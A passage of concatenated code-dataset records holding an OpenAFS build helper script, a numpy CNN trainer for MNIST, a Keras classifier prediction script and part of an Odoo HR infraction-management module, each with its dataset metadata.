PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n\"\"\"Helper to build OpenAFS for development and testing.\"\"\"\n\nimport logging\nimport os\nimport sys\n\nlogger = logging.getLogger(__name__)\n\ndef run(cmd):\n logger.info(\"Running %s\", cmd)\n code = os.system(cmd)\n if code != 0:\n logger.error(\"Command failed with code %d\" % (code))\n sys.exit(code)\n\ndef rebuild(chdir=None, cf=None, target=None, clean=True, **kwargs):\n origdir = None\n if chdir is not None:\n logger.info(\"Changing to directory %s\", chdir)\n origdir = os.getcwd()\n os.chdir(chdir)\n\n if cf is None:\n uname = os.uname()[0]\n options = [\n '--enable-debug',\n '--enable-debug-kernel',\n '--disable-optimize',\n '--disable-optimize-kernel',\n '--without-dot',\n '--enable-transarc-paths',\n ]\n if uname == \"Linux\":\n options.append('--enable-checking')\n cf = ' '.join(options)\n\n if target is None:\n if '--enable-transarc-paths' in cf:\n target = 'dest'\n else:\n target = 'all'\n\n if clean:\n if os.path.isdir('.git'):\n run('git clean -f -d -x -q')\n else:\n if os.path.isfile('./Makefile'):\n run('make clean')\n run('./regen.sh')\n run('./configure %s' % (cf))\n run('make %s' % (target))\n if origdir:\n logger.info(\"Changing to directory %s\", origdir)\n os.chdir(origdir)\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(levelname)s %(message)s',level=logging.INFO)\n rebuild()\n","sub_path":"libraries/afsutil/afsutil/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"510732445","text":"import numpy as np\nimport os\nimport time\nimport pickle\nfrom my_torch import Conv2D, Relu, LRelu, Linear, MaxPooling2D, AvgPooling2D, CrossEntropyLoss\nfrom Dataset import DataLoader\n\n\nclass Model():\n def __init__(self, batch_size):\n self.conv1 = Conv2D([batch_size, 28, 28, 1], 12, 5, 1)\n self.relu1 = Relu(self.conv1.output_shape)\n self.maxpool1 = MaxPooling2D(self.relu1.output_shape)\n self.conv2 = Conv2D(self.maxpool1.output_shape, 24, 3, 1)\n self.relu2 = Relu(self.conv2.output_shape)\n self.maxpool2 = MaxPooling2D(self.relu2.output_shape)\n self.fc = Linear(self.maxpool2.output_shape, 10)\n self.out = CrossEntropyLoss(self.fc.output_shape)\n\n def forward(self, x, label):\n # x shape [batchsize, H, W, C]\n # label shape[batchsize,]\n conv1_out = self.relu1.forward(self.conv1.forward(x))\n pool1_out = self.maxpool1.forward(conv1_out)\n conv2_out = self.relu2.forward(self.conv2.forward(pool1_out))\n pool2_out = self.maxpool2.forward(conv2_out)\n fc_out = self.fc.forward(pool2_out)\n loss_out = self.out.forward(fc_out, label)\n return loss_out\n\n def SGD(self):\n error_out = self.out.SGD()\n self.conv1.SGD(self.relu1.SGD(self.maxpool1.SGD(\n self.conv2.SGD(self.relu2.SGD(self.maxpool2.SGD(\n self.fc.SGD(error_out)))))))\n\n def backward(self, learning_rate):\n self.fc.backward(lr=learning_rate, weight_decay=0.0004)\n self.conv2.backward(lr=learning_rate, weight_decay=0.0004)\n self.conv1.backward(lr=learning_rate, weight_decay=0.0004)\n\ndef learning_rate_exponential_decay(learning_rate, global_step, decay_rate=0.1, decay_steps=5000):\n '''\n Applies exponential decay to learning rate\n decayed_learning_rate = learning_rate * decay_rate ^ (global_step/decay_steps)\n :return: learning rate decayed by step\n '''\n decayed_learning_rate = learning_rate * pow(decay_rate , float(global_step/decay_steps))\n return decayed_learning_rate\n \ndef train(model, img, label, batch_size, learning_rate):\n acc = 0\n loss = model.forward(img, np.array(label))\n for j in range(batch_size):\n if np.argmax(model.out.predict_result[j]) == label[j]:\n acc += 1\n model.SGD()\n model.backward(learning_rate)\n return acc / batch_size, loss\n\ndef test(model, test_images, test_labels, batch_size):\n # validation\n val_loss = 0\n val_acc = 0\n batch_num = test_images.shape[0] // batch_size\n for i in range(batch_num):\n img = test_images[i * batch_size:(i + 1) * batch_size].reshape([batch_size, 28, 28, 1])\n label = test_labels[i * batch_size:(i + 1) * batch_size]\n\n val_loss += model.forward(img, np.array(label))\n \n for j in range(batch_size):\n if np.argmax(model.out.predict_result[j]) == label[j]:\n val_acc += 1\n\n return val_acc / (batch_num * batch_size), val_loss / batch_num\n\n\nif __name__ == \"__main__\":\n logpath = 'logs'\n if not os.path.exists(logpath):\n os.mkdir(logpath)\n logdir = logpath + '/EXP1_Norm_log.txt'\n print_freq = 50\n val_freq = 200\n DL = DataLoader()\n images, labels = DL.load_mnist('./data/mnist',Norm=True)\n test_images, test_labels = DL.load_mnist('./data/mnist', 't10k',Norm=True)\n batch_size = 100\n model = Model(batch_size)\n #record \n train_loss_record = []\n train_acc_record = []\n val_loss_record = []\n val_acc_record = []\n with open(logdir, 'w') as logf:\n for epoch in range(20):\n # save record every epoch\n history = dict()\n history['train_acc'] = train_acc_record\n history['train_loss'] = train_loss_record\n history['val_acc'] = val_acc_record\n history['val_loss'] = val_loss_record\n with open(\"record.pickle\", \"wb\") as fp: #Pickling\n pickle.dump(history, fp) \n \n # random shuffle\n order = np.arange(images.shape[0])\n np.random.shuffle(order)\n train_images = images[order]\n train_labels = labels[order]\n \n learning_rate = learning_rate_exponential_decay(5e-3, epoch, 0.1, 10)\n\n train_loss = 0\n train_acc = 0\n \n for i in range(train_images.shape[0] // batch_size):\n img = train_images[i * batch_size:(i + 1) * batch_size].reshape([batch_size, 28, 28, 1])\n label = train_labels[i * batch_size:(i + 1) * batch_size]\n tmp_acc, tmp_loss = train(model, img, label, batch_size, learning_rate)\n\n train_acc += tmp_acc\n train_loss += tmp_loss\n \n if (i+1) % print_freq == 0:\n loginfo = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \\\n \" epoch: %d , batch: %5d , avg_batch_acc: %.4f avg_batch_loss: %.4f learning_rate %f\" % (epoch,\n i, tmp_acc, tmp_loss, learning_rate)\n logf.write(loginfo + \"\\n\")\n print(loginfo)\n \n if (i+1) % val_freq == 0 :\n val_acc, val_loss = test(model, test_images, test_labels, batch_size)\n #save\n train_acc_record.append(train_acc)\n train_loss_record.append(train_loss)\n val_acc_record.append(val_acc)\n val_loss_record.append(val_loss)\n loginfo = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime()) + \" epoch: %5d , train_acc: %.4f train_loss: %.4f val_acc: %.4f val_loss: %.4f\" % (\n epoch, train_acc / val_freq, train_loss / val_freq, val_acc, val_loss)\n logf.write(loginfo + \"\\n\")\n print(loginfo)\n train_loss = 0\n train_acc = 0\n\n \n\n ","sub_path":"MINIST_CNN.py","file_name":"MINIST_CNN.py","file_ext":"py","file_size_in_byte":6011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"630047114","text":"import os\r\nimport sys\r\nimport traceback\r\nimport pickle\r\nimport argparse\r\nimport collections\r\nfrom keras import metrics\r\nimport random\r\nimport tensorflow as tf\r\nimport numpy as np\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\n\r\nseed = 1337\r\nrandom.seed(seed)\r\nnp.random.seed(seed)\r\ntf.random.set_seed(seed)\r\n\r\nfrom concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor, wait, as_completed\r\nimport multiprocessing\r\nfrom itertools import product\r\n\r\nfrom multiprocessing import Pool\r\n\r\nfrom timeit import default_timer as timer\r\n\r\nfrom model import create_model\r\nfrom myutils import prep, drop, statusout, batch_gen, seq2sent, index2word, init_tf\r\nimport tensorflow.keras\r\nimport tensorflow.keras.backend as K\r\n\r\nfrom custom.graphlayers import OurCustomGraphLayer\r\nfrom keras_self_attention import SeqSelfAttention\r\n\r\ndef gendescr_astflat(model, data, batchsize, config):\r\n smls = list(zip(*data.values()))\r\n #smls = *data.values()\r\n coms = np.zeros(batchsize)\r\n smls = np.array(smls)\r\n smls = np.squeeze(smls, axis=0)\r\n\r\n results = model.predict([smls], batch_size=batchsize)\r\n for c, s in enumerate(results):\r\n coms[c] = np.argmax(s)\r\n\r\n final_data = {}\r\n for fid, com in zip(data.keys(), coms):\r\n final_data[fid] = int(com)\r\n\r\n return final_data\r\n\r\ndef gendescr_astflat_tdat(model, data, batchsize, config):\r\n tdats, smls = list(zip(*data.values()))\r\n tdats = np.array(tdats)\r\n coms = np.zeros((len(smls)))\r\n smls = np.array(smls)\r\n\r\n results = model.predict([tdats, smls], batch_size=batchsize)\r\n for c, s in enumerate(results):\r\n coms[c] = np.argmax(s)\r\n\r\n final_data = {}\r\n for fid, com in zip(data.keys(), coms):\r\n final_data[fid] = int(com)\r\n\r\n return final_data\r\n\r\ndef load_model_from_weights(modelpath, modeltype, datvocabsize, comvocabsize, smlvocabsize, datlen, comlen, smllen):\r\n config = dict()\r\n config['datvocabsize'] = datvocabsize\r\n config['comvocabsize'] = comvocabsize\r\n config['datlen'] = datlen # length of the data\r\n config['comlen'] = comlen # comlen sent us in workunits\r\n config['smlvocabsize'] = smlvocabsize\r\n config['smllen'] = smllen\r\n\r\n model = create_model(modeltype, config)\r\n model.load_weights(modelpath)\r\n return model\r\n\r\nif __name__ == '__main__':\r\n\r\n parser = argparse.ArgumentParser(description='')\r\n parser.add_argument('modelfile', type=str, default=None)\r\n parser.add_argument('--num-procs', dest='numprocs', type=int, default='4')\r\n parser.add_argument('--gpu', dest='gpu', type=str, default='')\r\n parser.add_argument('--data', dest='dataprep', type=str, default='/nfs/projects/humanattn/data/standard')\r\n parser.add_argument('--outdir', dest='outdir', type=str, default='/nfs/projects/humanattn/data/outdir')\r\n parser.add_argument('--batch-size', dest='batchsize', type=int, default=200)\r\n parser.add_argument('--num-inputs', dest='numinputs', type=int, default=3)\r\n parser.add_argument('--model-type', dest='modeltype', type=str, default=None)\r\n parser.add_argument('--outfile', dest='outfile', type=str, default=None)\r\n parser.add_argument('--zero-dats', dest='zerodats', type=str, default='no')\r\n parser.add_argument('--dtype', dest='dtype', type=str, default='float32')\r\n parser.add_argument('--tf-loglevel', dest='tf_loglevel', type=str, default='3')\r\n parser.add_argument('--testval', dest='testval', type=str, default='test')\r\n\r\n args = parser.parse_args()\r\n \r\n outdir = args.outdir\r\n dataprep = args.dataprep\r\n modelfile = args.modelfile\r\n numprocs = args.numprocs\r\n gpu = args.gpu\r\n batchsize = args.batchsize\r\n num_inputs = args.numinputs\r\n modeltype = args.modeltype\r\n outfile = args.outfile\r\n zerodats = args.zerodats\r\n testval = args.testval\r\n\r\n if outfile is None:\r\n outfile = modelfile.split('/')[-1]\r\n\r\n K.set_floatx(args.dtype)\r\n os.environ['CUDA_VISIBLE_DEVICES'] = gpu\r\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = args.tf_loglevel\r\n\r\n sys.path.append(dataprep)\r\n import tokenizer\r\n\r\n prep('loading tokenizers... ')\r\n tdatstok = pickle.load(open('%s/tdats.tok' % (dataprep), 'rb'), encoding='UTF-8')\r\n comstok = pickle.load(open('%s/coms.tok' % (dataprep), 'rb'), encoding='UTF-8')\r\n smltok = pickle.load(open('%s/smls.tok' % (dataprep), 'rb'), encoding='UTF-8')\r\n drop()\r\n\r\n prep('loading firstwords... ')\r\n firstwords = pickle.load(open('%s/firstwords.pkl' % (dataprep), 'rb'))\r\n drop()\r\n\r\n prep('loading sequences... ')\r\n seqdata = pickle.load(open('%s/dataset.pkl' % (dataprep), 'rb'))\r\n drop()\r\n\r\n print(zerodats)\r\n if zerodats == 'yes':\r\n zerodats = True\r\n else:\r\n zerodats = False\r\n print(zerodats)\r\n\r\n if zerodats:\r\n v = np.zeros(100)\r\n for key, val in seqdata['dttrain'].items():\r\n seqdata['dttrain'][key] = v\r\n\r\n for key, val in seqdata['dtval'].items():\r\n seqdata['dtval'][key] = v\r\n \r\n for key, val in seqdata['dttest'].items():\r\n seqdata['dttest'][key] = v\r\n\r\n allfids = list(seqdata['c'+testval].keys())\r\n datvocabsize = tdatstok.vocab_size\r\n comvocabsize = comstok.vocab_size\r\n smlvocabsize = smltok.vocab_size\r\n\r\n #datlen = len(seqdata['dttest'][list(seqdata['dttest'].keys())[0]])\r\n comlen = len(seqdata['c'+testval][list(seqdata['c'+testval].keys())[0]])\r\n #smllen = len(seqdata['stest'][list(seqdata['stest'].keys())[0]])\r\n\r\n prep('loading config... ')\r\n (modeltype, mid, timestart) = modelfile.split('_')\r\n (timestart, ext) = timestart.split('.')\r\n modeltype = modeltype.split('/')[-1]\r\n config = pickle.load(open(outdir+'/histories/'+modeltype+'_conf_'+timestart+'.pkl', 'rb'))\r\n num_inputs = config['num_input']\r\n drop()\r\n\r\n prep('loading model... ')\r\n model = tensorflow.keras.models.load_model(modelfile, custom_objects={\"tf\":tf, \"keras\":tensorflow.keras, \"OurCustomGraphLayer\":OurCustomGraphLayer, \"SeqSelfAttention\":SeqSelfAttention})\r\n print(model.summary())\r\n drop()\r\n\r\n batch_sets = [allfids[i:i+batchsize] for i in range(0, len(allfids), batchsize)]\r\n refs = list()\r\n preds = list() \r\n\r\n prep(\"computing predictions...\\n\")\r\n for c, fid_set in enumerate(batch_sets):\r\n st = timer()\r\n \r\n bg = batch_gen(seqdata, firstwords, testval, config, training=False)\r\n batch = bg.make_batch(fid_set)\r\n\r\n if config['batch_maker'] == 'datsonly':\r\n batch_results = gendescr_astflat(model, batch, batchsize, config)\r\n elif config['batch_maker'] == 'ast':\r\n batch_results = gendescr_astflat_tdat(model, batch, batchsize, config)\r\n else:\r\n print('error: invalid batch maker')\r\n sys.exit()\r\n\r\n for key, val in batch_results.items():\r\n ref = firstwords['testfw'][key] # key is fid\r\n refs.append(ref)\r\n preds.append(val)\r\n\r\n end = timer ()\r\n print(\"{} processed, {} per second this batch\".format((c+1)*batchsize, batchsize/(end-st)))\r\n \r\n drop()\r\n\r\n cmlbls = list(firstwords['fwmap'].keys())\r\n cm = confusion_matrix(refs, preds, labels=range(len(cmlbls)))\r\n\r\n outstr = \"\"\r\n row_format = \"{:>8}\" * (len(cmlbls) + 1)\r\n outstr += row_format.format(\"\", *cmlbls) + \"\\n\"\r\n for team, row in zip(cmlbls, cm):\r\n outstr += row_format.format(team, *row) + \"\\n\"\r\n\r\n outstr += '\\n'\r\n\r\n outstr += classification_report(refs, preds, target_names=cmlbls, labels=range(len(cmlbls)))\r\n\r\n print(outstr)\r\n\r\n","sub_path":"humantrain/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":7594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"345175731","text":"# coding: utf-8\n\"\"\"\n Module Name: HR Infraction\n Author: John Christian Ardosa\n Company: Agilis Enterprise Solutions\n Date Created: January, 2020\n\"\"\"\n\nfrom odoo import models, fields, api, _\nfrom logging import getLogger\nfrom odoo.exceptions import UserError\nfrom datetime import date, datetime\n\n\ndef log(**to_output):\n getLogger().info(\"\\n\\n\\n{0}\\n\\n\".format(to_output))\n\n\nclass InheritEmployeeInfractions(models.Model):\n _inherit = 'hr.employee'\n\n infraction_ids = fields.One2many(\n 'hr.infraction', 'emp_id',\n string=\"Infractions\",\n compute='_compute_infraction_record',\n track_visibility='onchange'\n\n )\n\n @api.depends('children')\n def _compute_infraction_record(self):\n for rec in self:\n record = self.env['hr.infraction'].search([('emp_id', '=', rec.id)])\n rec.update({\n 'infraction_ids': [(6, 0, record.ids)],\n })\n\n\nclass Infractions(models.Model):\n \"\"\"Main Model of Infractions which houses the fields\n responsible for the main form and tree view\n \"\"\"\n _name = \"hr.infraction\"\n _rec_name = \"infraction_sequence_id\"\n _description = \"Infractions Management\"\n _inherit = [\"mail.thread\", \"mail.activity.mixin\", \"resource.mixin\"]\n\n infraction_sequence_id = fields.Char(string='Infraction ID', required=True, copy=False, readonly=True,\n index=True, default=lambda self: _('New'))\n\n emp_id = fields.Many2one(\n \"hr.employee\",\n string=\"Employee\",\n track_visibility=\"onchange\",\n required=True,\n help='Select employee who committed the violation'\n )\n job_id = fields.Many2one(\n \"hr.job\",\n string=\"Job\",\n related=\"emp_id.job_id\",\n readonly=True,\n store=True,\n )\n manager_id = fields.Many2one(\"hr.employee\",\n string=\"Manager\",\n related=\"emp_id.parent_id\",\n readonly=True,\n store=True,\n )\n department_id = fields.Many2one('hr.department',\n string=\"Department\",\n related='emp_id.department_id',\n readonly=True,\n store=True\n )\n\n violation_id = fields.Many2one(\"hr.company.violation\",\n string=\"Violation\",\n track_visibility=\"onchange\",\n required=True,\n help='Choose a from past violations or create a new one.'\n )\n\n policy_violated_ids = fields.Many2many(\"hr.company.policy\", string=\"Policies Violated\",\n compute='_compute_policy_violated_ids', help=\"FOR POLICY VIOLATED ID DOMAIN PURPOSES ONLY\")\n\n offense_code_id = fields.Many2one('hr.company.offense', string='Offense Code',\n related='policy_violated_id.offense_code_id',\n readonly=True,\n store=True,\n )\n\n policy_violated_id = fields.Many2one(\n \"hr.company.policy\",\n string=\"Policies Violated\",\n track_visibility=\"onchange\",\n domain=\"[('id', 'in', policy_violated_ids)]\",\n required=True,\n help='Field shows policies violated by the given violation'\n )\n\n frequency = fields.Char(\n string=\"Frequency\",\n track_visibility=\"onchange\",\n compute='compute_policy_violation_instance',\n store=True,\n help='Shows how many times an employee has violated a specific Policy. \\\n Helps with deciding what corrective action to use for offending employee'\n )\n\n violation_date = fields.Date(\n string=\"Date of Violation\",\n track_visibility=\"onchange\",\n required=True,\n default=fields.Date.today()\n )\n\n parent_infraction_id = fields.Many2one(\n 'hr.infraction', string=\"Parent Infraction\")\n is_parent = fields.Boolean(string=\"Is Parent\",\n readonly=True\n )\n is_child = fields.Boolean(string=\"Is Child\",\n readonly=True\n )\n\n @api.onchange('parent_infraction_id')\n def set_related_infraction(self):\n for rec in self:\n if rec.parent_infraction_id:\n rec.emp_id = rec.parent_infraction_id.emp_id\n rec.violation_id = rec.parent_infraction_id.violation_id\n rec.violation_date = rec.parent_infraction_id.violation_date\n rec.violation_details = rec.parent_infraction_id.violation_details\n\n @api.constrains('parent_infraction_id')\n def check_parent_infraction(self):\n for rec in self:\n if rec.parent_infraction_id.id == self.id:\n raise UserError(_('Cannot assign record as its own parent'))\n\n state = fields.Selection(\n string=\"Case Status\",\n selection=[\n (\"draft\", \"Draft\"),\n (\"open\", \"Open\"),\n (\"in_progress\", \"In Progress\"),\n (\"for_closure\", \"For Case Closure\"),\n (\"closed\", \"Closed\"),\n ],\n default=\"draft\",\n )\n corrective_action = fields.Many2one(\n \"hr.infraction.action_history\",\n string=\"Corrective Action\",\n compute=\"get_corrective_action\",\n readonly=True,\n )\n\n violation_details = fields.Text(\n string=\"How Did It Occur?\", required=True, track_visibility=\"onchange\"\n )\n history_ids = fields.One2many(\n \"hr.infraction.action_history\",\n \"infraction_id\",\n string=\"Action History\",\n track_visibility=\"onchange\",\n ondelete='cascade'\n )\n\n suspension_history_ids = fields.One2many('suspension.history','infraction_id',string=\"Suspension History\",\n )\n\n @api.depends('history_ids')\n def get_corrective_action(self):\n for record in self:\n history_line = record.history_ids.ids\n if history_line:\n self.update({\n 'corrective_action': history_line[-1]\n })\n return True\n\n @api.multi\n def unlink(self):\n \"\"\"\n Deletes the action history records related to infraction upon the latter's deletion\n \"\"\"\n for rec in self:\n action_history = self.env['hr.infraction.action_history'].search(\n [('infraction_id', '=', rec.id)])\n for i in action_history:\n i.unlink()\n for i in self.env['hr.infraction.action_history'].browse(self.ids):\n i.unlink()\n result = super(Infractions, self).unlink()\n\n return result\n \n \"\"\" Function Used to auto update action history of all Infraction Records. No longer used \"\"\"\n # @api.depends('history_ids')\n # def _auto_fill_history(self):\n # for rec in self:\n # result = self.env['hr.infraction.action_history'].search(\n # []).filtered(lambda x: x.infraction_id.id == rec.id).ids\n # rec.update({'history_ids': [(6, 0, result)]})\n\n \"\"\"============================================================================================\n STATE BUTTON FIELDS\n ============================================================================================\"\"\"\n date_opened = fields.Date(string=\"Date Opened\",\n track_visibility='onchange'\n )\n date_in_progress = fields.Date(string=\"Date In Progress\",\n track_visibility='onchange'\n )\n date_for_closure = fields.Date(string=\"Date For Closure\",\n track_visibility='onchange'\n )\n date_closed = fields.Date(string=\"Date Closed\",\n track_visibility='onchange')\n set_open_by = fields.Many2one('res.users', string=\"Set to Open By\",\n track_visibility='onchange'\n )\n set_in_progress_by = fields.Many2one('res.users', string=\"Set to In Progress By\",\n track_visibility='onchange'\n )\n set_for_closure_by = fields.Many2one('res.users', string=\"Set to For Closure By\",\n track_visibility='onchange'\n )\n set_closed_by = fields.Many2one('res.users', string=\"Set to Closed By\",\n track_visibility='onchange'\n )\n # ============================================================================================\n\n @api.multi\n def get_offense_history(self):\n emp_domain = [('emp_id', '=', self.emp_id.id),\n ('policy_violated_id', 'in', self.policy_violated_ids.ids)]\n\n return {\n 'name': _('Violations for {}'.format(self.emp_id.name)),\n 'type': 'ir.actions.act_window',\n 'res_model': 'hr.infraction',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'domain': emp_domain,\n }\n\n @api.model\n def create(self, vals):\n \"\"\" Old Code for autosequence upon record creation\"\"\"\n # if vals.get('infraction_sequence_id', _('New')) == _('New'):\n # vals['infraction_sequence_id'] = self.env['ir.sequence'].next_by_code(\n # 'infraction.code.sequence') or _('New')\n if vals.get('infraction_sequence_id', _('New')) == _('New'):\n vals['infraction_sequence_id'] = _('New')\n result = super(Infractions, self).create(vals)\n\n \"\"\" Old code auto creating action history upon creation of record\"\"\"\n # self.env['hr.infraction.action_history'].create({\n # 'stage': 'incident_report',\n # 'emp_id': result.emp_id.id,\n # 'infraction_id': result.id,\n # 'offense_code_id': result.offense_code_id.id,\n # 'start_date': result.create_date,\n # 'end_date': result.create_date,\n # 'action_date': result.create_date,\n # })\n return result\n\n \"\"\"============================================================================================\n COMPUTES FOR FREQUENCY DEPENDING ON NUMBER OF VIOLATION INSTANCES IN A GIVEN POLICY CODE\n ============================================================================================\"\"\"\n @api.depends('emp_id', 'policy_violated_id', 'offense_code_id',)\n def compute_policy_violation_instance(self):\n data = []\n frequency = \"\"\n for rec in self:\n active_emp_id = rec.emp_id.id if rec.emp_id.id else False\n if active_emp_id:\n record_set = self.env['hr.infraction'].search(\n [('emp_id', '=', active_emp_id), ('state', '!=', 'closed')])\n for i in record_set:\n data.append(i.policy_violated_id.id)\n counter = data.count(self.policy_violated_id.id)\n if rec.offense_code_id.corrective_action_ids:\n for i in rec.offense_code_id.corrective_action_ids:\n frequency = i.frequencies\n if rec.offense_code_id and rec.offense_code_id.corrective_action_ids:\n # getLogger().info(\"\\n\\n\\nCASE 1 {} {}\\n\\n\\n\".format(\n # self.offense_code_id, self.offense_code_id.corrective_action_ids))\n # log(offense_code_id=self.offense_code_id,\n # corrective_action=self.offense_code_id.corrective_action_ids)\n rec.frequency = frequency[counter - \n 1 if counter > 0 else counter][1]\n getLogger().info(\"\\n\\n\\nCounter{}\\nFrequency{}\\n\\n\\n\".format(\n counter-1, frequency))\n elif counter < 0:\n getLogger().info(\"\\n\\n\\nCASE 2\\n\\n\\n\")\n rec.frequency = frequency[0][1]\n else:\n getLogger().info(\"\\n\\n\\nCASE 3\\n\\n\\n\")\n rec.frequency = \"\"\n return frequency\n\n \"\"\"=============================================================================================\n FOR POLICY VIOLATED ID DOMAIN PURPOSES ONLY\n ============================================================================================\"\"\"\n @api.depends('violation_id')\n def _compute_policy_violated_ids(self):\n for record in self:\n record.policy_violated_ids = record.violation_id.policy_violated_ids.ids\n\n \"\"\"============================================================================================\n STATE BUTTON FUNCTIONS\n ============================================================================================\"\"\"\n\n @api.multi\n def set_state_inprogress(self):\n self.write({\n 'state': 'in_progress',\n 'date_in_progress': datetime.now(),\n 'set_in_progress_by': self._uid,\n 'infraction_sequence_id': self.env['ir.sequence'].next_by_code(\n 'infraction.code.sequence') or _('New')\n })\n if self.infraction_sequence_id != _('New'):\n self.env['hr.infraction.action_history'].create({\n 'stage': 'incident_report',\n 'emp_id': self.emp_id.id,\n 'infraction_id': self.id,\n 'offense_code_id': self.offense_code_id.id,\n 'start_date': self.create_date,\n 'end_date': self.create_date,\n 'action_date': self.create_date,\n })\n return True\n # self.infraction_sequence_id = self.env['ir.sequence'].next_by_code(\n # 'infraction.code.sequence') or _('New')\n\n \"\"\"old code for checking if action history already has stage 'Investigation and NTE Issuance' \"\"\"\n # @api.multi\n # def set_state_inprogress(self):\n # for i in self.history_ids:\n # if i.stage == 'inv_nte_issuance':\n # self.write({\n # 'state': 'in_progress',\n # 'date_in_progress': datetime.now(),\n # 'set_in_progress_by': self._uid\n # })\n # break\n # else:\n # raise UserError(\n # _('Investigation and NTE Issuance should be created in Action History before setting the record in progress'))\n\n @api.multi\n def set_state_forclosure(self):\n self.write({\n 'state': 'for_closure',\n 'date_for_closure': datetime.now(),\n 'set_for_closure_by': self._uid\n })\n return True\n\n @api.multi\n def set_state_closed(self):\n self.write({\n 'state': 'closed',\n 'date_closed': datetime.now(),\n 'set_closed_by': self._uid\n })\n return True\n\n\n\"\"\"============================================================================================\n Company Policy houses data of company policies with their corresponding offenses\n ============================================================================================\"\"\"\n\n\nclass PolicyCode(models.Model):\n _name = \"hr.company.policy\"\n _rec_name = \"name\"\n _description = \"Company Policy houses data of company policies with their corresponding offenses\"\n _inherit = [\"mail.thread\", \"mail.activity.mixin\", \"resource.mixin\"]\n\n name = fields.Char(string=\"Policy Code\")\n offense_code_id = fields.Many2one(\n \"hr.company.offense\", string=\"Offense Code\")\n description = fields.Text(string=\"Policy Description\")\n\n\nclass OffenseCode(models.Model):\n _name = \"hr.company.offense\"\n _rec_name = \"name\"\n\n name = fields.Char(string=\"Offense Code\", size=64)\n corrective_action_ids = fields.One2many(\n \"hr.company.offense.frequency\",\n 'offense_code_id',\n string=\"Corrective Actions\",\n )\n description = fields.Text(string=\"Offense Code Description\")\n frequency = fields.Integer(string=\"Frequency\", compute=\"_get_frequency\")\n corrective_action_enumerate = fields.Text(\n string=\"Corrective Actions\", readonly=True, compute=\"_get_frequency\"\n )\n\n \"\"\"============================================================================================\n COMPUTES FOR NUMBER OF CORRECTIVE ACTIONS\n ============================================================================================\"\"\"\n @api.depends(\"corrective_action_ids\")\n def _get_frequency(self):\n counter = 0\n list = []\n for i in self:\n corrective_action_ids = i.corrective_action_ids\n for j in corrective_action_ids:\n counter += 1\n list.append(j.action)\n i.frequency = len(i.corrective_action_ids.ids)\n\n\n\"\"\"============================================================================================\n Corrective Action houses Offense Codes that are used for each Company Policy\n ============================================================================================\"\"\"\n\n\nclass CorrectiveAction(models.Model):\n _name = \"hr.company.offense.frequency\"\n _rec_name = \"action\"\n _description = \"Corrective Action houses Offense Codes that are used for each Company Policy\"\n\n frequencies = [\n (\"1st_offense\", \"1st Offense\"),\n (\"2nd_offense\", \"2nd Offense\"),\n (\"3rd_offense\", \"3rd Offense\"),\n (\"4th_offense\", \"4th Offense\"),\n (\"5th_offense\", \"5th Offense\"),\n (\"6th_offense\", \"6th Offense\"),\n (\"7th_offense\", \"7th Offense\"),\n (\"8th_offense\", \"8th Offense\"),\n (\"9th_offense\", \"9th Offense\"),\n (\"10th_offense\", \"10th Offense\"),\n ]\n offense_code_id = fields.Many2one(\n \"hr.company.offense\", string=\"Offense Code\")\n\n name = fields.Char(string=\"Offense Frequency\",\n size=64, compute=\"_get_name\", store=True,)\n\n frequency = fields.Selection(\n string=\"Offense Frequency\", selection=frequencies, required=True\n )\n\n action = fields.Selection(\n string=\"Action\",\n selection=[\n (\"Verbal Warning\", \"Verbal Warning\"),\n (\"Written Warning\", \"Written Warning\"),\n (\"Suspension\", \"Suspension\"),\n (\"Demotion\", \"Demotion\"),\n (\"Dismissal\", \"Dismissal\"),\n ],\n required=True,\n )\n\n @api.depends(\"frequency\")\n def _get_name(self):\n frequencies = self.frequencies\n for i in self:\n if i.frequency == frequencies[0][0]:\n i.name = frequencies[0][1]\n elif i.frequency == frequencies[1][0]:\n i.name = frequencies[1][1]\n elif i.frequency == frequencies[2][0]:\n i.name = frequencies[2][1]\n elif i.frequency == frequencies[3][0]:\n i.name = frequencies[3][1]\n elif i.frequency == frequencies[4][0]:\n i.name = frequencies[4][1]\n elif i.frequency == frequencies[5][0]:\n i.name = frequencies[5][1]\n elif i.frequency == frequencies[6][0]:\n i.name = frequencies[6][1]\n elif i.frequency == frequencies[7][0]:\n i.name = frequencies[7][1]\n elif i.frequency == frequencies[8][0]:\n i.name = frequencies[8][1]\n else:\n i.name = frequencies[9][1]\n\n\n\"\"\"Violation deals with acts committed by offenders which are then assigned\n offense codes based on company policies violated by said act/s\"\"\"\n\n\nclass Violation(models.Model):\n _name = \"hr.company.violation\"\n _inherit = [\"mail.thread\", \"mail.activity.mixin\", \"resource.mixin\"]\n\n name = fields.Char(string=\"Violation\", size=128)\n description = fields.Text(string=\"Violation Description\")\n policy_violated_ids = fields.Many2many(\n \"hr.company.policy\", string=\"Policy Violated\"\n )\n\n\n\"\"\"Provides Tree View of Policy and Offense codes commited \"\"\"\n\n\nclass PolicyOffenseViolationLine(models.Model):\n _name = \"hr.company.violation.policy.offense\"\n _description = \"Provides Tree View of Policy and Offense codes commited\"\n _inherit = [\"mail.thread\", \"mail.activity.mixin\", \"resource.mixin\"]\n\n policy_id 